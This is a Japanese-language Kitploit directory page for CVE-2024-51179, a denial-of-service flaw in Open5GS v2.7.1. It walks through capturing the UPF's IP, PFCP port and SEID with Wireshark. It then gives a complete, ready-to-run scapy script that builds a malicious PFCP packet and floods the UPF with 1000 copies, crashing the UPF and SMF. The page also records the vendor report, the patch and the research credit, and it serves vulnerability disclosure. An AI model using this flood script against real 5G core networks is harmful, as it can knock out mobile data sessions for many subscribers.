Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-51179 | Kitploit
ツール/GitHubGitHub/lakshmirnr/cve-2024-51179
パケットスニッフィングと分析脆弱性分析エクスプロイトネットワークセキュリティペネトレーションテスト
GitHublakshmirnr/cve-2024-51179

CVE-2024-51179

リポジトリを見る
41年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-51179 : 攻撃者からの細工されたパケットのフラッディングにより、Open5gs の UPF/SMF がクラッシュする可能性がある

脆弱性の説明

説明: Open 5GS v.2.7.1 には、リモートの攻撃者が User Plane Function(UPF)や Session Management Function(SMF)などの Network Function Virtualizations(NFV)を介してサービス拒否を引き起こすことを可能にする問題があります。NFV 内で発生するクラッシュにより、Packet Data Unit(PDU)セッション確立プロセスが影響を受けます。

攻撃者は、User Plane Function (UPF) の IP アドレス、PFCP ポート、および SEID(Session Endpoint Identifier)を取得した後、悪意のある PFCP(Packet Forwarding Control Protocol)パケットを作成して UPF にフラッディングすることができます。攻撃者がユーザープレーン・トラフィックにアクセスできる場合、必要なパラメータは Wireshark などのツールを使用して傍受できます。

脆弱性の種類: サービス拒否(Denial Of Service)

影響: 悪意のあるパケットを送信すると、UPF がエラー状態になり、新しい PDU セッションの確立に影響を及ぼします。さらに、悪意のある PFCP パケットのフラッディングにより SMF(Session Management Function)も影響を受け、コア機能が妨害されます。

攻撃を再現する手順

前提条件: 5G コアネットワークは、コアネットワークとして Open5GS を使用し、gNB(Next Generation NodeB)および UE(User Equipment)のエミュレーションツールとして UERANSIM を使用して構築されました。

攻撃を実行する手順

  1. Open5GS のコンポーネント(AMF、SMF、UPF など)のステータスを確認して、Open5GS が実行されていることを確認します。
  2. UERANSIM を使用して PDU セッションを開始し、Wireshark でトラフィックをキャプチャして、PDU セッションの確立を確認します。
  3. Wireshark を開き、ユーザープレーンに使用されるネットワークインターフェースを選択します。
  4. PFCP パケットの表示フィルタを使用してトラフィックのキャプチャを開始します。
  5. UERANSIM から PDU セッションを開始して、PFCP パケットがキャプチャに表示されることを確認します。
  6. Wireshark で、キャプチャされた PFCP パケットから UPF IP アドレス、UPF ポート(通常 8805)、および SEID を確認して記録します。
  7. 次のスクリプトを使用して、パケットを UPF にフラッディングします。
root@kitploit:~
#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.inet import IP, UDP
import socket
import struct
UPF_IP = "192.168.56.113"  
UPF_PORT = 8805  
message_type = 53  
sequence_number = 1
seid = 0x0010000000000000  
version = 1 
spare = 0
mp = 0  
s_flag = 1  
byte0 = (version << 5) | (s_flag << 2)
length = 0  
seid_bytes = seid.to_bytes(8, 'big')
sequence_number_bytes = sequence_number.to_bytes(3, 'big')
pfcp_header = struct.pack('!BBH', byte0, message_type, length) + seid_bytes + sequence_number_bytes
ie_type = 150  
ie_length = 13
flags = 0x01
fseid_seid = seid.to_bytes(8, 'big')
fseid_ipv4 = socket.inet_aton(UPF_IP)
fseid_ie = struct.pack('!HHB', ie_type, ie_length, flags) + fseid_seid + fseid_ipv4
pfcp_message = pfcp_header + fseid_ie
pfcp_message_length = len(pfcp_message) - 4  
pfcp_header_with_length = struct.pack('!BBH', byte0, message_type, pfcp_message_length) + seid_bytes + sequence_number_bytes
pfcp_message = pfcp_header_with_length + fseid_ie
packet = IP(dst=UPF_IP) / UDP(sport=RandShort(), dport=UPF_PORT) / Raw(load=pfcp_message)
packet[UDP].chksum = None
print(f"Packet Summary: {packet.summary()}")
hexdump(packet)
for _ in range(1000):  
    send(packet)
print("Sent 1000 malicious PFCP packets to UPF.")
  1. Wireshark を使用してネットワークへの影響を監視するか、ログを確認して、パケット処理の異常や障害を観察します。
  2. UERANSIM から新しい PDU セッションの確立を試みて、フラッディングによって確立が失敗するかどうかを確認します。

攻撃後の SMF ステータス

smfcurrent

悪意のあるパケットの WIRESHARK キャプチャ

377424722-253fa5a4-fbae-4e0d-8638-1f1d59633b22

現在のステータス

この脆弱性は、Open5GS GitHub ページ(https://github.com/open5gs/open5gs/issues/3497)の Issue #3497 として文書化され、Open5GS ベンダーに報告されました。ベンダーは、根本原因をシステムクラッシュを引き起こすメモリ解放の問題であると特定しました。その後、パッチが適用され、この問題を解決するためにコードが更新されました。更新されたコードはここで確認できます。

https://github.com/open5gs/open5gs/commit/e3790b45b4bc0b261e0946cf93755099a9525cfd

CVE-2024-51179 が公開されました。

クレジット

DIGITAL UNIVERSITY KERALA、 CENTRE FOR DEVELOPMENT OF TELEMATICS(C-DOT)

ツールをダウンロード